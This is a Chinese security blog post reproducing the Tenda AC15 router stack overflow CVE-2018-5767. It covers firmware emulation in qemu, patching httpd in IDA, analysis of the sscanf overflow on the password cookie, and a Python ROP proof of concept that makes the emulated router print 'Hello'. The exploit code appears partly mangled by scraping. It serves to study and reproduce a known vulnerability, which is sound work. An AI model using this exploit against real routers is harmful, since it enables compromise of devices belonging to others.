Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

admin 2023年6月5日22:56:39评论78 views字数 2969阅读9分53秒阅读模式

01
漏洞简介

Tenda AC15 路由器存在一个溢出漏洞, 由于没有对用户的输入进行限制,导致sscanf函数直接将用户的输入直接拷贝至栈上,从而造成了栈溢出漏洞。


02
漏洞影响版本

Tenda AC15 


03
漏洞环境搭建
固件下载:
https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
执行
sudo apt install qemu-user-static
安装qemu-user-static
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
执行
cp $(which qemu-arm-static) ./sudo chroot . ./qemu-arm-static ./bin/httpd
启动httpd启动程序
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
卡在启动界面,将./bin/httpd放入IDA中,通过IDA搜索”WeLoveLinux”发现以下结果

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

进入第一处
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
点击F5查看代码,通过查询资料发现此处存在两个检查,第一个检查check_network检查network,未通过则进入睡眠状态,第二个检查ConnectCfm检查连接状态,未通过则输出connect cfm failed!,所以如果想路由器固件http正常启动,需对这2处的返回值进行patch绕过,否则将一直循环在启动界面。
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
本次漏洞环境搭建过程使用IDA插件keypatch进行patch,IDA插件keypatch下载地址:https://github.com/keystone-engine/keypatch,下载后,将keypatch.py拷贝至IDA的plugins目录即可
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
重新启动IDA,将check_networkConnectCfmMOV R3, R0修改为MOV R3, #1
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
点击Edit->Patch program->Apply patches to,即可让更改patch生效
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
将更改后的httpd替换之前的httpd文件并赋予新的httpd文件执行权限
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
执行
sudo chroot . ./qemu-arm-static ./bin/httpd
重新启动./bin/httpd,发现IP地址不对
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
查询资料发现需新建立一张名为br0的网卡
执行
brctl addbr br0ifconfig br0 192.168.1.1/24
命令执行完毕后执行ifconfig,可以看到br0网卡已被添加
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
继续执行
chroot . ./qemu-arm-static ./bin/httpd
可以看到已正确获取到IP地址
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
访问http://192.168.1.1,发现仍然出现错误
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
执行以下命令将/webroot_ro/目录下文件拷贝到/webroot/
cp -rf ./webroot_ro/* ./webroot/

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

再次重新执行
chroot . ./qemu-arm-static ./bin/httpd
并访问http://192.168.1.1
成功搭建漏洞环境
Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

04
漏洞复现分析

根据已有POC可知溢出漏洞点位于R7WebsSecurityHandler函数中,通过IDA定位该函数并查看函数内容

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

该函数中漏洞点位于下图所示位置,下图所示代码含义为首先寻找到”password=”字符串位置,之后通过函数sscanf获取字符串”password=”以及之后的内容中的字符=到字符;中间的字符串即password的值,之后将截取到的内容写入v33,由于v33已定义长度为128,当截取的值长度超过128时,将造成溢出

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

将下面代码保存为CVE-2018-5767.py

import structimport requestsfrom pwn import * ip = "192.168.1.1" url = "http://{:s}/goform/exeCommand".format(ip)headers = {    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade-Insecure-Requests': '1','Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"','Cache-Control': 'max-age=0'} libc=0xFF5D5000 _str = "Hellox00" pop_r3_pc = p32(0x00018298+libc)#pop r3 pcmov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3print(0x00018298+libc)puts = p32(0x035CD4+libc)_str = _str.encode()# 'byte'password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"headers['Cookie']=b"password="+password try:    response = requests.get(url,headers=headers,timeout=1)except:Pass

另开一个cmd窗口,执行python3 CVE-2018-5767.py

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

路由器日志信息输出hello

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产品转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》


原文始发于微信公众号(第59号):Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月5日22:56:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析http://cn-sec.com/archives/1727127.html

发表评论

匿名网友 填写信息